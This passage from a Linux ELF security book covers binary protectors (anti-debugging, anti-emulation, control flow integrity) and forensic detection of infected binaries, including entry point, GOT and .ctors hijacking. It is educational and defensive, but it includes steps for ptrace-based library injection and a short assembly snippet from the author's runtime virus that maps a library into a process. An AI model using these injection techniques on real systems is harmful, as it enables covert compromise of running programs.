[+] Applying function level code encryption:simple stream cipher S

[+] Applying host executable/data sections: SALSA20 streamcipher (2nd 
layer protection)

[+] Maya's Mind-- injection address: 0x3c9000

[+] Encrypting knowledge: 111892 bytes

[+] Extracting information for RO Relocations

[+] Successfully protected binary, output file is named vuln.maya

$ ./vuln.maya AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[MAYA CONTROL FLOW] Detected an illegal return to 0x41414141, possible 
exploitation attempt!

Segmentation fault

$

This demonstrates that Maya has detected an invalid return address, 0x41414141, 
before the return instruction actually succeeds. Maya's runtime engine interferes by 
crashing the program safely (without exploitation).
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Another anti-exploitation feature that Maya enforces is relro (read-only relocations). 
Most modern Linux systems have this feature enabled, but if it is not enabled, 
Maya will enforce it on its own by creating a read-only page with mprotect() that 
encompasses the.jcr, .dynamic, .got, .ctors (.init_array), and .dtors (.fini_
array) sections. Other anti-exploitation features (such as function pointer integrity) 
are being planned for the future and have not yet made it into the code base.

Downloading Maya-protected binaries
For those who are interested in reverse-engineering some simple programs that 
were protected with Maya's Veil, feel free to download a couple of samples that are 
available at http://www.bitlackeys.org/maya_crackmes.tgz. This link contains 
three files: crackme.elf_hardest, crackme.elf_medium, and test.maya.

Anti-debugging for binary protection
Since binary protectors generally encrypt or obfuscate the physical body of a 
program, static analysis can be extremely difficult and, left to its own devises, will 
prove to be futile in many cases. Most reverse engineers who are attempting to 
unpack or break a protected binary will agree that a combination of dynamic analysis 
and static analysis must be used to gain access to the decrypted body of a binary.

A protected binary has to decrypt itself, or at least the portions of itself that are 
executing at runtime. Without any anti-debugging techniques, a reverse engineer can 
simply attach to the process of the protected program and set a breakpoint on the last 
instruction of the stub (assuming that the stub decrypts the entire executable).

Once the breakpoint is hit, the attacker can look at the code segment for where 
the protected binary lives and find its decrypted body. This would be extremely 
simple, and therefore it is very important for good binary protection to use as many 
techniques as possible to make debugging and dynamic analysis difficult for the 
reverse engineer. A protector like Maya goes to great lengths to protect the binary 
from both static and dynamic analysis.

Dynamic analysis is not limited to the ptrace syscall, although most debuggers are 
limited to it for the purpose of accessing and manipulating a process. Therefore, a 
binary protector should not be limited to protecting only against ptrace; ideally 
it will also be resistant to other forms of dynamic analysis, such as emulation and 
dynamic instrumentation (for example, Pin and DynamoRIO). We covered many 
anti-debugging techniques against ptrace analysis in previous chapters, but what 
about resistance to emulation?

http://www.bitlackeys.org/maya_crackmes.tgz
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Resistance to emulation
Often, emulators are used to perform dynamic analysis and reverse engineering 
tasks on executables. One very good reason for this is that they allow the reverse 
engineer to easily instrument the control of the execution, and they also bypass a 
lot of typical anti-debugging techniques. There are many emulators being used out 
there—QEMU, BOCHS, and Chris Eagles' IDA X86 emulator plugin, to name some. 
So, countless anti-emulation techniques exist, but some of them are specific to each 
emulator's particular implementation.

This topic could expand into some very in-depth discussions and move in 
many directions, but I will keep it limited to my own experience. In my own 
experimentation with emulation and anti-emulation in the Maya protector, I have 
learned some generic techniques that should work against at least some emulators. 
The goal of our binary protector's anti-emulation is to be able to detect when it is 
being run in an emulator, and if this is true, it should halt the execution and exit.

Detecting emulation through syscall testing
This technique can be especially useful in application-level emulators that are 
somewhat OS agnostic and are unlikely to have implemented more than the basic 
system calls (read, write, open, mmap, and so on). If an emulator does not support 
a system call and also does not delegate the unsupported syscall to the kernel, it is 
very likely that it will posit an erroneous return value.

So, the binary protector could invoke a handful of less common syscalls and check 
whether the return value matches the expected value. A very similar technique 
would be to invoke certain interrupt handlers to see whether they behave correctly. 
In either case, we are looking for OS features that were not properly implemented  
by the emulator.

Detecting emulated CPU inconsistencies
The chances of an emulator perfectly emulating CPU architectures are next to none. 
Therefore, it is common to look for certain inconsistencies between how the emulator 
behaves and how the CPU should behave. One such technique is to attempt writing 
to privileged instructions, such as debug registers (for example, db0 to db7) or 
control registers (for example, cr0 to cr4). The emulation detection code may have  
a stub of ASM code that attempts to write to cr0 and see whether it succeeds.
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Checking timing delays between certain 
instructions
Another technique that can sometimes cause instability in the emulator itself is 
checking the timestamps between certain instructions and seeing how long the 
execution took. A real CPU should execute a sequence of instructions several 
magnitudes faster than an emulator.

Obfuscation methods
A binary can be obfuscated or encrypted in many creative ways. Most binary 
protectors simply protect the entire binary with one or more layers of protection. At 
runtime, the binary is decrypted and can be dumped from the memory to acquire 
a copy of the unpacked binary. In more advanced protectors, such as Maya, every 
single function is encrypted individually, and allows only a single function to be 
decrypted at any given time.

Once a binary is encrypted, it must, of course, store the encryption keys somewhere. 
In the case of Maya (discussed earlier), a custom heap implementation that itself uses 
encryption to store encryption keys was designed. At some point, it would seem that 
a key has to be exposed (such as the key used to decrypt another key), but special 
techniques such as white-box cryptography can be used to make these final keys 
extremely obfuscated. If assistance from the kernel is used in a protector, then it is 
possible to store the key outside of the binary and process memory completely.

Code obfuscation techniques (such as false disassembly, which was described 
in Chapter 4, ELF Virus Technology – Linux/Unix Viruses) are also commonly used 
in binary protection to make static analysis more difficult for code that has been 
decrypted or is never encrypted. Binary protectors also usually strip the section 
header table from a binary and remove any unneeded strings and string tables  
from it, such as those that give symbol names.

Protecting control flow integrity
A protected binary should aim to protect the program during runtime (the process 
itself) just as much as—if not more than—the binary at rest on the disk. Runtime 
attacks can generally be classified into two types:

• Attacks based on ptrace
• Vulnerability-based attacks
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Attacks based on ptrace
The first variety, ptrace based attacks, also falls under the category of debugging 
a process. As already discussed, a binary protector wants to make ptrace based 
debugging very difficult for a reverse engineer. Aside from debugging, however, 
there are many other attacks that could potentially help break a protected binary, 
and it is important to know and understand what some of these are in order to give 
further clarification as to why a binary protector wants to protect a running process 
from ptrace.

If a protector has gone so far that it is able to detect breakpoint instructions  
(and therefore make debugging more difficult) but is not able to protect itself from 
being traced by ptrace, then it is possible that it is still very vulnerable to ptrace 
based attacks, such as function hijacking and shared library injection. An attacker 
may not want to simply unpack a protected binary, but may aim to only change the 
binary's behavior. A good binary protector should try to protect the integrity of its 
control flow.

Imagine that an attacker is aware that a protected binary is calling the dlopen() 
function to load a specific shared library, and the attacker wants the process to load 
a trojaned shared library instead. The following steps could lead to an attacker 
compromising a protected binary by changing its control flow:

1. Attaching to the process with ptrace.
2. Modifying the Global Offset Table entry for dlopen() to point to __libc_

dlopen_mode (in libc.so).
3. Adjusting the %rdi register so that it points to this path: /tmp/evil_lib.so.
4. Continuing execution.

At this point, the attacker has just forced a protected binary to load a malicious 
shared library and has therefore completely compromised the security of the 
protected binary.

The Maya protector, as discussed earlier, is armed against such vulnerabilities thanks 
to a runtime engine that works as an active debugger, preventing any other process 
from attaching. If a protector can disable ptrace from attaching to the protected 
process, then that process is at much less risk of this type of runtime attack.
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Security vulnerability-based attacks
A vulnerability-based attack is a type of attack in which an attacker may be able to 
exploit an inherent weakness in the protected program, such as a stack-based buffer 
overflow, and subsequently change the execution flow to something of their choice.

This type of attack is often more difficult to carry out on a protected program, since  
it yields much less information about itself, and using a debugger to narrow down 
on the locations used in the memory by the exploit is potentially much more difficult 
to gain insight into. Nevertheless, this type of attack is very possible, and this is  
why the Maya protector enforces control flow integrity and read-only relocations  
to protect specifically against vulnerability exploitation attacks.

I am not aware whether any other protectors out there right now are using similar 
anti-exploitation techniques, but I can only surmise that they are out there.

Other resources
Writing only one chapter on binary protection is not nearly comprehensive enough 
on its own to teach you all about this one subject. The other chapters in this book 
complement each other, however; when combined together, they will help you get  
to deeper levels of understanding. There are many good resources on this subject, 
some of which  have already been mentioned.

One resource in particular, written by Andrew Griffith, is highly recommended 
for reading. This paper was written over a decade ago but describes many of the 
techniques and practices that are still very pertinent to the binary protectors of today:

http://www.bitlackeys.org/resources/binary_protection_schemes.pdf

This paper was followed by a talk given at a later date, and the slides can be  
found here:

http://2005.recon.cx/recon2005/papers/Andrew_Griffiths/protecting_
binaries.pdf

Summary
In this chapter, we revealed the inner workings of basic binary protection schemes 
for Linux binaries, and discussed the various features of existing binary protectors 
that have been released for Linux over the last decade.

In the next chapter, we will be exploring things from the opposite angle and begin 
looking at ELF binary forensics in Linux.

http://www.bitlackeys.org/resources/binary_protection_schemes.pdf
http://2005.recon.cx/recon2005/papers/Andrew_Griffiths/protecting_binaries.pdf
http://2005.recon.cx/recon2005/papers/Andrew_Griffiths/protecting_binaries.pdf
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ELF Binary Forensics  
in Linux

The field of computer forensics is widespread and includes many facets of 
investigation. One such facet is the analysis of executable code. One of the most 
insidious places for a hacker to install some type of malicious functionality is within 
an executable file of some kind. In Linux, this is, of course, the ELF file type. We 
already explored some of the infection techniques that are being used in Chapter 4, 
ELF Virus Technology – Linux/Unix Viruses, but have spent very little time discussing 
the analysis phase. How exactly should an investigator go about exploring a binary 
for anomalies or code infections? That is what this chapter is all about.

The motives for an attacker infecting an executable varies greatly, and it may be for a 
virus, a botnet, or a backdoor. There are, of course, many cases where an individual 
wants to patch or modify a binary to achieve totally different ends such as binary 
protection, code patching, or other experimentation. Whether malicious or not, the 
binary modification methods are all the same. The inserted code is what determines 
whether or not the binary is possessed with malicious intent.

In either case, this chapter will arm the reader with the insight necessary for 
determining whether or not a binary has been modified, and how exactly it has been 
modified. In the following pages, we will be examining several different types of 
infections and will even discuss some of my findings when performing a real-world 
analysis of the Retaliation Virus for Linux that was engineered by one of the world's 
most skilled Virus authors named JPanic. This chapter is all about training your  
eye to be able to spot anomalies within an ELF binary file, and with some practice  
it becomes quite possible to do so with ease.
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The science of detecting entry point 
modification
When a binary is modified in some way, it is generally for the purpose of adding 
code to the binary and then redirecting execution flow to that code. The redirection 
of execution flow can happen in many places within the binary. In this particular 
case, we are going to examine a very common technique used when patching 
binaries, especially for viruses. This technique is to simply modify the entry  
point, which is the e_entry member of the ELF file header.

The goal is here to determine whether or not e_entry is holding an address that 
points to a location that signifies an abnormal modification to the binary.

Abnormal means any modification that wasn't created by the linker itself 
/usr/bin/ld whose job it is to link ELF objects together. The linker 
will create a binary that represents normalcy, whereas an unnatural 
modification often appears suspicious to the trained eye.

The quickest route to being able to detect anomalies is to first know what is normal. 
Let's take a look at two normal binaries: one dynamically linked and the other 
statically linked. Both have been compiled with gcc and neither has been tampered 
with in any way:

$ readelf -h bin1 | grep Entry

  Entry point address:               0x400520

$

So we can see that the entry point is 0x400520. If we look at the section headers,  
we can see what section this address falls into:

readelf -S bin1 | grep 4005

  [13] .text             PROGBITS         0000000000400520  00000520

In our example, the entry point starts at the beginning of the .text 
section. This is not always so, and therefore grepping for the first 
significant hex-digits, as we did previously isn't a consistent approach. It 
is recommended that you check both the address and size of each section 
header until you find the section with an address range that contains the 
entry point. 
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As we can see, it points right to the beginning of the .text section, which is 
common, but depending on how the binary was compiled and linked, this may 
change with each binary you look at. This binary was compiled so that it was linked 
to libc just like 99 percent of the binaries you will encounter are. This means that the 
entry point contains some special initialization code and it looks almost identical 
in every single libc-linked binary, so let's take a look at it so we can know what to 
expect when analyzing the entry point code of binaries:

$ objdump -d --section=.text bin1

 0000000000400520 <_start>:

  400520:       31 ed                 xor    %ebp,%ebp

  400522:       49 89 d1              mov    %rdx,%r9

  400525:       5e                    pop    %rsi

  400526:       48 89 e2              mov    %rsp,%rdx

  400529:       48 83 e4 f0           and    $0xfffffffffffffff0,%rsp

  40052d:       50                    push   %rax

  40052e:       54                    push   %rsp

  40052f:       49 c7 c0 20 07 40 00   mov    $0x400720,%r8 // __libc_csu_fini

  400536:       48 c7 c1 b0 06 40 00  mov    $0x4006b0,%rcx // __libc_csu_init

  40053d:       48 c7 c7 0d 06 40 00  mov    $0x40060d,%rdi // main()

  400544:       e8 87 ff ff ff         callq  4004d0  // call libc_start_main()

...

The preceding assembly code is the standard glibc initialization code pointed to  
by e_entry of the ELF header. This code is always executed before main() and  
its purpose is to call the initialization routine libc_start_main():

libc_start_main((void *)&main, &__libc_csu_init, &libc_csu_fini);

This function sets up the process heap segment, registers constructors and 
destructors, and initializes threading-related data. Then it calls main().

Now that you know what the entry point code looks like on a libc-linked binary,  
you should be able to easily determine when the entry point address is suspicious, 
when it points to code that does not look like this, or when it is not even in the  
.text section at all!
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A binary that is statically linked with libc will have initialization code 
in _start that is virtually identical to the preceding code, so the same rule 
applies for statically linked binaries as well.

Now let's take a look another binary that has been infected with the Retaliation Virus 
and see what type of oddities we find with the entry point:

$ readelf -h retal_virus_sample | grep Entry

  Entry point address:        0x80f56f

A quick examination of the section headers with readelf -S will prove that this 
address is not accounted for by any section header, which is extremely suspicious. 
If an executable has section headers and there is an executable area that is not 
accounted for by a section, then it is almost certainly a sign of infection or binary 
patching. For code to be executed, section headers are not necessary as we've  
already learned, but program headers are.

Let's take a look and see what segment this address fits into by looking at the 
program headers with readelf -l:

Elf file type is EXEC (Executable file)
Entry point 0x80f56f
There are 9 program headers, starting at offset 64

Program Headers:
  Type       Offset             VirtAddr           PhysAddr
             FileSiz            MemSiz              Flags  Align
  PHDR       0x0000000000000040 0x0000000000400040 0x0000000000400040
             0x00000000000001f8 0x00000000000001f8  R E    8
  INTERP     0x0000000000000238 0x0000000000400238 0x0000000000400238
             0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD       0x0000000000000000 0x0000000000400000 0x0000000000400000
             0x0000000000001244 0x0000000000001244  R E    200000
  LOAD       0x0000000000001e28 0x0000000000601e28 0x0000000000601e28
             0x0000000000000208 0x0000000000000218  RW     200000
  DYNAMIC    0x0000000000001e50 0x0000000000601e50 0x0000000000601e50
             0x0000000000000190 0x0000000000000190  RW     8
  LOAD       0x0000000000003129 0x0000000000803129 0x0000000000803129
             0x000000000000d9a3 0x000000000000f4b3  RWE    200000
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This output is extremely suspicious for several reasons. Typically, we only see  
two LOAD segments with one ELF executable—one for the text and one for the 
data—although this is not a strict rule. Nevertheless, it is the norm, and this  
binary is showing three segments.

Moreover, this segment is suspiciously marked RWE (read + write + execute), which 
indicates self-modifying code, commonly used with viruses that have polymorphic 
engines such as this one. The entry point, points inside this third segment, when 
it should be pointing to the first segment (the text segment), which, as we can see, 
starts at the virtual address 0x400000, which is the typical text segment address 
for executables on Linux x86_64. We don't even have to look at the code to be fairly 
confident that this binary has been patched.

But for verification, especially if you are designing code that performs automated 
analysis of binaries, you can check the code at the entry point and see if it matches 
what it is expected to look like, which is the libc initialization code we looked  
at earlier.

The following gdb command is displaying the disassembled instructions found at the 
entry point of the retal_virus_sample executable:

(gdb) x/12i 0x80f56f
   0x80f56f:  push   %r11
   0x80f571:  movswl %r15w,%r11d
   0x80f575:  movzwq -0x20d547(%rip),%r11        # 0x602036
   0x80f57d:  bt     $0xd,%r11w
   0x80f583:  movabs $0x5ebe954fa,%r11
   0x80f58d:  sbb    %dx,-0x20d563(%rip)        # 0x602031
   0x80f594:  push   %rsi
   0x80f595:  sete   %sil
   0x80f599:  btr    %rbp,%r11
   0x80f59d:  imul   -0x20d582(%rip),%esi        # 0x602022
   0x80f5a4:  negw   -0x20d57b(%rip)        # 0x602030  
   <completed.6458>
   0x80f5ab:  bswap  %rsi

I think we can quickly agree that the preceding code does not look like the 
libc initialization code that we would expect to see in the entry point code of 
an untampered executable. You can simply compare it with the expected libc 
initialization code that we looked at from bin1 to find this out.
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Other signs of modified entry points are when the address points to any section 
outside of the .text section, especially if it's a section that is the last-most section 
within the text segment (sometimes this the .eh_frame section). Another sure sign is if 
the address points to a location within the data segment that will generally be marked 
as executable (visible with readelf -l) so that it can execute the parasite code.

Typically, the data segment is marked as RW, because no code is 
supposed to be executing in that segment. If you see the data marked 
RWX then let that serve as a red flag, because it is extremely suspicious.

Modifying the entry point is not the only way to create an entry point to insert code. It 
is a common way to achieve it, and being able to detect this is an important heuristic, 
especially in malware because it can reveal the start point of the parasite code. In the 
next section, we will discuss other methods used to hijack control flow, which is not 
always at the beginning of execution, but in the middle or even at the end.

Detecting other forms of control flow 
hijacking
There are many reasons to modify a binary, and depending on the desired 
functionality, the binary control flow will be patched in different ways. In the 
previous example of the Retaliation Virus, the entry point in the ELF file header  
was modified. There are many other ways to transfer execution to the inserted  
code, and we will discuss a few of the more common approaches.

Patching the .ctors/.init_array section
In ELF executables and shared libraries, you will notice that there is a section 
commonly present named .ctors (commonly also named .init_array). This section 
contains an array of addresses that are function pointers called by the initialization 
code from the .init section. The function pointers refer to functions created with the 
constructor attribute, which are executed before main(). This means that the .ctors 
function pointer table can be patched with an address that points to the code that has 
been injected into the binary, which we refer to as the parasite code.
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It is relatively easy to check whether or not one of the addresses in the .ctors 
section is valid. The constructor routines should always be stored specifically within 
the .text section of the text segment. Remember from Chapter 2, The ELF Binary 
Format, that the .text section is not the text segment, but rather a section that resides 
within the range of the text segment. If the .ctors section contains any function 
pointers that refer to locations outside of the .text section, then it is probably time 
to get suspicious.

A side note on .ctors for anti-anti-debugging
Some binaries that incorporate anti-debugging techniques will actually 
create a legal constructor function that calls ptrace(PTRACE_TRACEME, 
0);.
As discussed in Chapter 4, ELF Virus Technology – Linux/Unix Viruses, this 
technique prevents a debugger from attaching to the process since only 
one tracer can be attached at any given time. If you discover that a binary 
has a function that performs this anti-debugging trick and has a function 
pointer in .ctors, then it is advised to simply patch that function pointer 
with 0x00000000 or 0xffffffff that will direct the __libc_start_
main() function to ignore it, therefore effectively disabling the anti-
debugging technique. This task could be easily accomplished in GDB with 
the set command, for example, set {long}address = 0xffffffff, 
assuming that address is the location of the .ctors entry you want to modify.

Detecting PLT/GOT hooks
This technique has been used as far back as 1998 when it was published by Silvio 
Cesare in http://phrack.org/issues/56/7.html, which discusses the techniques 
of shared library redirection.

In Chapter 2, The ELF Binary Format, we carefully examined dynamic linking and I 
explained the inner workings of the PLT (procedure linkage table) and GOT (global 
offset table). Specifically, we looked at lazy linking and how the PLT contains 
code stubs that transfer control to addresses that are stored in the GOT. If a shared 
library function such as printf has never been called before, then the address stored 
in the GOT will point back to the PLT, which then invokes the dynamic linker, 
subsequently filling in the GOT with the address that points to the printf function 
from the libc shared library that is mapped into the process address space.

It is common for both static (at rest) and hot-patching (in memory) to modify one 
or more GOT entries so that a patched in function is called instead of the original. 
We will examine a binary that has been injected with an object file that contains a 
function that simply writes a string to stdout. The GOT entry for puts(char *); 
has been patched with an address that points to the injected function.

http://phrack.org/issues/56/7.html
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The first three GOT entries are reserved and will typically not be patched because 
it will likely prevent the executable from running correctly (See Chapter 2, The ELF 
Binary Format, section on Dynamic linking). Therefore, as analysts, we are interested 
in observing the entries starting at GOT[3]. Each GOT value should be an address. 
The address can have one of two values that would be considered valid:

•  Address pointer that points back into the PLT
•  Address pointer that points to a valid shared library function

When a binary is infected on disk (versus runtime infection), then a GOT entry will 
be patched with an address that points somewhere within the binary where code has 
been injected. Recall from Chapter 4, ELF Virus Technology – Linux/Unix Viruses, that 
there are numerous ways to inject code into an executable file. In the binary sample 
that we will look at here, a relocatable object file (ET_REL) was inserted at the end of 
the text segment using the Silvio padding infection discussed in Chapter 4, ELF Virus 
Technology – Linux/Unix Viruses.

When analyzing the .got.plt section of a binary that has been infected, we must 
carefully validate each address from GOT[4] through GOT[N]. This is still easier 
than looking at the binary in memory because before the binary is executed, the GOT 
entries should always point only to the PLT, as no shared library functions have been 
resolved yet.

Using the readelf -S utility and looking for the .plt section, we can deduce 
the PLT address range. In the case of the 32-bit binary I am looking at now, it is 
0x8048300 - 0x8048350. Remember this range before we look at the following  
.got.plt section.

Truncated output from readelf -S command
[12] .plt     PROGBITS        08048300 000300 000050 04  AX  0   0 16

Now let's take a look at the .got.plt section of a 32-bit binary and see if any of the 
relevant addresses are pointing outside of 0x8048300–0x8048350:

Contents of section .got.plt:

…

0x804a00c: 28860408 26830408 36830408 …
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So let's take these addresses out of their little endian byte ordering and validate that 
each one points within the .plt section as expected:

• 08048628: This does not point to PLT!
• 08048326: This is valid
• 08048336: This is valid
• 08048346: This is valid

The GOT location 0x804a00c contains the address 0x8048628, which does not point 
to a valid location. We can see what shared library function 0x804a00c corresponds 
to by looking at the relocation entries with the readelf -r command, which shows 
us that the infected GOT entry corresponds to the libc function puts():

Relocation section '.rel.plt' at offset 0x2b0 contains 4 entries:

 Offset     Info    Type            Sym.Value  Sym. Name

0804a00c  00000107 R_386_JUMP_SLOT   00000000   puts

0804a010  00000207 R_386_JUMP_SLOT   00000000   __gmon_start__

0804a014  00000307 R_386_JUMP_SLOT   00000000   exit

0804a018  00000407 R_386_JUMP_SLOT   00000000   __libc_start_main

So the GOT location 0x804a00c is the relocation unit for the puts() function. 
Typically, it should contain an address that points to the PLT stub for the GOT offset 
so that the dynamic linker will be invoked and resolve the runtime value for that 
symbol. In this case, the GOT entry contains the address 0x8048628, which points  
to a suspicious bit of code at the end of the text segment:

 8048628:       55                      push   %ebp

 8048629:       89 e5                   mov    %esp,%ebp

 804862b:       83 ec 0c                sub    $0xc,%esp

 804862e:       c7 44 24 08 25 00 00    movl   $0x25,0x8(%esp)

 8048635:       00

 8048636:       c7 44 24 04 4c 86 04    movl   $0x804864c,0x4(%esp)

 804863d:       08

 804863e:       c7 04 24 01 00 00 00    movl   $0x1,(%esp)

 8048645:       e8 a6 ff ff ff          call   80485f0 <_write>

 804864a:       c9                      leave  

 804864b:       c3                      ret  
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Technically, we don't even have to know what this code does in order to know that 
the GOT was hijacked because the GOT should only contain addresses that point to 
the PLT, and this is clearly not a PLT address:

$ ./host

HAHA puts() has been hijacked!

$

A further exercise would be to disinfect this binary manually, which is something 
we do in the ELF workshop trainings I provide periodically. Disinfecting this binary 
would primarily entail patching the .got.plt entry that contains the pointer to the 
parasite and replacing it with a pointer to the appropriate PLT stub.

Detecting function trampolines
The term trampoline is used loosely but is originally referred to inline code patching, 
where the insertion of a branch instruction such as a jmp is placed over the first 5 
to 7 bytes of the procedure prologue of a function. Often times, this trampoline is 
temporarily replaced with the original code bytes if the function that was patched 
needs to be called in such a way that it behaves as it originally did, and then the 
trampoline instruction is quickly placed back again. Detecting inline code hooks such 
as these is quite easy and can even be automated with some degree of ease provided 
you have a program or script that can disassemble a binary.

Following are two examples of trampoline code (32-bit x86 ASM):

• Type 1:
movl $target, %eax
jmp *%eax

• Type 2:
push $target
ret

A good classic paper on using function trampolines for function hijacking in kernel 
space was written by Silvio in 1999. The same concepts can be applied today in 
userland and in the kernel; for the kernel you would have to disable the write protect 
bit in the cr0 register to make the text segment writeable, or directly modify a PTE  
to mark a given page as writeable. I personally have had more success with the 
former method. The original paper on kernel function trampolines can be found  
at http://vxheaven.org/lib/vsc08.html.

http://vxheaven.org/lib/vsc08.html
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The quickest way to detect function trampolines is to locate the entry point of every 
single function and verify that the first 5 to 7 bytes of code do not translate to some 
type of branch instruction. It would be very easy to write a Python script for GDB 
that can do this. I have written C code to do this in the past fairly easily.

Identifying parasite code characteristics
We just reviewed some common methods for hijacking execution flow. If you can 
identify where the execution flow points, you can typically identify some or all of the 
parasite code. In the section Detecting PLT/GOT hooks, we determined the location of 
the parasite code for the hijacked puts() function by simply locating the PLT/GOT 
entry that had been modified and seeing where that address pointed to, which, in 
that case, was to an appended page containing parasite code.

Parasite code can be qualified as code that is unnaturally inserted into the binary; 
in other words, it wasn't linked in by the actual ELF object linker. With that said, 
there are several characteristics that can sometimes be attributed to injected code, 
depending on the techniques used.

Position independent code (PIC) is often used for parasites so that it can be injected 
into any point of a binary or memory and still execute properly regardless of its 
position in memory. PIC parasites are easier to inject into an executable because the 
code can be inserted into the binary without having to consider handling relocations. 
In some cases, such as with my Linux padding Virus http://www.bitlackeys.org/
projects/lpv.c, the parasite is compiled as an executable with the gcc-nostdlib 
flag. It is not compiled as position independent, but it has no libc linking, and special 
care is taken within the parasite code itself to dynamically resolve memory addresses 
with instruction-pointer relative computations.

In many cases, the parasite code is written purely in assembly language and is 
therefore in a sense more identifiable as being a potential parasite since it will look 
different from what the compiler produces. One of the giveaways with parasite 
code written in assembly is the way in which syscalls are handled. In C code, 
typically syscalls are called through libc functions that will invoke the actual 
syscall. Therefore, syscalls look just like regular dynamically linked functions. In 
handwritten assembly code, syscalls are usually invoked directly using either the 
Intel sysenter or syscall instructions, and sometimes even int 0x80 (which is now 
considered legacy). If syscall instructions are present, we may consider it a red flag.

http://www.bitlackeys.org/projects/lpv.c
http://www.bitlackeys.org/projects/lpv.c


ELF Binary Forensics in Linux

[ 152 ]

Another red flag, especially when analyzing a remote process that may be infected,  
is to see int3 instructions that can serve many purposes such as passing control  
back to a tracing process that is performing the infection or, even more disturbing, 
the ability to trigger some type of anti-debugging mechanism within malware or  
a binary protector.

The following 32-bit code memory maps a shared library into a process and then 
passes control back to the tracer with an int3. Notice that int 0x80 is being used to 
invoke the syscalls. This shellcode is actually quite old; I wrote it in 2008. Typically, 
nowadays we want to use either the sysenter or syscall instruction to invoke a 
system call in Linux, but the int 0x80 will still work; it is just slower and therefore 
considered deprecated: 

_start:
        jmp B
A:

        # fd = open("libtest.so.1.0", O_RDONLY);

        xorl %ecx, %ecx
        movb $5, %al
        popl %ebx
        xorl %ecx, %ecx
        int $0x80

        subl $24, %esp

        # mmap(0, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED, 
fd, 0);

        xorl %edx, %edx
        movl %edx, (%esp)
        movl $8192,4(%esp)
        movl $7, 8(%esp)
        movl $2, 12(%esp)
        movl %eax,16(%esp)
        movl %edx, 20(%esp)
        movl $90, %eax
        movl %esp, %ebx
        int $0x80

        int3
B:
        call A
        .string "/lib/libtest.so.1.0"
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If you were to see this code inside an executable on disk or in memory, you should 
quickly come to the conclusion that it does not look like compiled code. One dead 
giveaway is the call/pop technique that is used to dynamically retrieve the address 
of /lib/libtest.so.1.0. The string is stored right after the call A instruction 
and therefore its address is pushed onto the stack, and then you can see that it gets 
popped into ebx, which is not conventional compiler code.

This particular snippet was taken from a runtime virus I wrote in 
2009. We will specifically get into the analysis of process memory 
in the next chapter.

For runtime analysis, the infection vectors are many, and we will cover more about 
parasite identification in memory when we get into Chapter 7, Process Memory 
Forensics.

Checking the dynamic segment for  
DLL injection traces
Recall from Chapter 2, The ELF Binary Format, that the dynamic segment can be found 
in the program header table and is of type PT_DYNAMIC. There is also a .dynamic 
section that also points to the dynamic segment.

The dynamic segment is an array of ElfN_Dyn structs that contains d_tag and a 
corresponding value that exists in a union:

     typedef struct {
               ElfN_Sxword    d_tag;
               union {
                   ElfN_Xword d_val;
                   ElfN_Addr  d_ptr;
               } d_un;
           } ElfN_Dyn;

Using readelf we can easily view the dynamic segment of a file.

Following is an example of a legitimate dynamic segment:

$ readelf -d ./test

Dynamic section at offset 0xe28 contains 24 entries:

  Tag        Type                         Name/Value

 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
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 0x000000000000000c (INIT)               0x4004c8

 0x000000000000000d (FINI)               0x400754

 0x0000000000000019 (INIT_ARRAY)         0x600e10

 0x000000000000001b (INIT_ARRAYSZ)       8 (bytes)

 0x000000000000001a (FINI_ARRAY)         0x600e18

 0x000000000000001c (FINI_ARRAYSZ)       8 (bytes)

 0x000000006ffffef5 (GNU_HASH)           0x400298

 0x0000000000000005 (STRTAB)             0x400380

 0x0000000000000006 (SYMTAB)             0x4002c0

 0x000000000000000a (STRSZ)              87 (bytes)

 0x000000000000000b (SYMENT)             24 (bytes)

 0x0000000000000015 (DEBUG)              0x0

 0x0000000000000003 (PLTGOT)             0x601000

 0x0000000000000002 (PLTRELSZ)           144 (bytes)

 0x0000000000000014 (PLTREL)             RELA

 0x0000000000000017 (JMPREL)             0x400438

 0x0000000000000007 (RELA)               0x400408

 0x0000000000000008 (RELASZ)             48 (bytes)

 0x0000000000000009 (RELAENT)            24 (bytes)

 0x000000006ffffffe (VERNEED)            0x4003e8

 0x000000006fffffff (VERNEEDNUM)         1

 0x000000006ffffff0 (VERSYM)             0x4003d8

 0x0000000000000000 (NULL)               0x0

There are many important tag types here that are necessary for the dynamic linker 
to navigate the binary at runtime so that it can resolve relocations and load libraries. 
Notice that the tag type called NEEDED is highlighted in the preceding code. This is 
the dynamic entry that tells the dynamic linker which shared libraries it needs to 
load into memory. The dynamic linker will search for the named shared library in 
the paths specified by the $LD_LIBRARY_PATH environment variable.

It is clearly conceivable for an attacker to add a NEEDED entry into the binary that 
is specifying a shared library to load. This is not a very common technique in my 
experience, but it is a technique that can be used tell the dynamic linker to load 
whichever library you want. The problem for analysts is that this technique is 
difficult to detect if it is done correctly, which is to say that the inserted NEEDED  
entry is inserted directly after the last legitimate NEEDED entry. This can be difficult 
because you have to move all of the other dynamic entries forward to make room  
for your insertion.
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In many cases, the attacker may do this the inexperienced way where the NEEDED 
entry is at the very end of all other entries, which the object linker would never do, 
so if you see a dynamic segment that looks like the following, you know something 
is up.

The following is an example of an infected dynamic segment:

$ readelf -d ./test

Dynamic section at offset 0xe28 contains 24 entries:

  Tag        Type                         Name/Value

 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]

 0x000000000000000c (INIT)               0x4004c8

 0x000000000000000d (FINI)               0x400754

 0x0000000000000019 (INIT_ARRAY)         0x600e10

 0x000000000000001b (INIT_ARRAYSZ)       8 (bytes)

 0x000000000000001a (FINI_ARRAY)         0x600e18

 0x000000000000001c (FINI_ARRAYSZ)       8 (bytes)

 0x000000006ffffef5 (GNU_HASH)           0x400298

 0x0000000000000005 (STRTAB)             0x400380

 0x0000000000000006 (SYMTAB)             0x4002c0

 0x000000000000000a (STRSZ)              87 (bytes)

 0x000000000000000b (SYMENT)             24 (bytes)

 0x0000000000000015 (DEBUG)              0x0

 0x0000000000000003 (PLTGOT)             0x601000

 0x0000000000000002 (PLTRELSZ)           144 (bytes)

 0x0000000000000014 (PLTREL)             RELA

 0x0000000000000017 (JMPREL)             0x400438

